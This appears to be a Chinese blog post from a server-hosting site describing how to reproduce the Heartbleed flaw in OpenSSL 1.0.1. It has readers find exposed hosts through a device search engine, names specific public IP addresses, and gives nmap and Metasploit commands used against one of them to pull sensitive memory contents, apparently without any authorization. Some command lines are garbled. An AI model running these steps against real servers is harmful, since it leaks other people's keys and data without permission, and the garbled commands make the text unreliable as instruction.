如何解析openssl1.0.1滴血漏洞复现
如何解析openssl1.0.1滴血漏洞复现
发布时间：2021-12-14 17:48:38 来源：高防服务器网 阅读：62 作者：柒染 栏目：安全技术
这期内容当中小编将会给大家带来有关如何解析openssl1.0.1滴血漏洞复现，文章内容丰富且以专业的角度为大家分析和叙述，阅读完这篇文章希望大家可以有所收获。
首先用shadan进行搜索主机
搜索格式为
openssl 1.0.1a
然后随便找一个请求为200的主机进行漏扫
一、使用专门的工具进行扫描
219.117.252.132
发现这个主机没有可以利用的
我们需要再换一个
149.202.69.214
发现可以有一个可以利用的
二、使用nmap工具进行扫描
nmap -sV -p 443 149.202.69.214 –script=ssl-heartbleed.nse
发现下面给爆出了漏洞编号
漏洞发现完成之后，我们就该利用了
打开我们的msf
然后搜索关于xinzang滴血的模块
search heartbleed
我们选择第一个进入
use auxiliary/scanner/ssl/openssl_heartbleed
再查看一下需要设置的模块
set rhosts 443 149.202.69.214 port 他给出了，不再设置 set VERBOSE true
run一下，发现获取很多敏感信息
……
上述就是小编为大家分享的如何解析openssl1.0.1滴血漏洞复现了，如果刚好有类似的疑惑，不妨参照上述分析进行理解。如果想知道更多相关知识，欢迎关注高防服务器网行业资讯频道。
[微信提示：高防服务器能助您降低 IT 成本，提升运维效率，使您更专注于核心业务创新。
[图文来源于网络，不代表本站立场，如有侵权，请联系高防服务器网删除]
[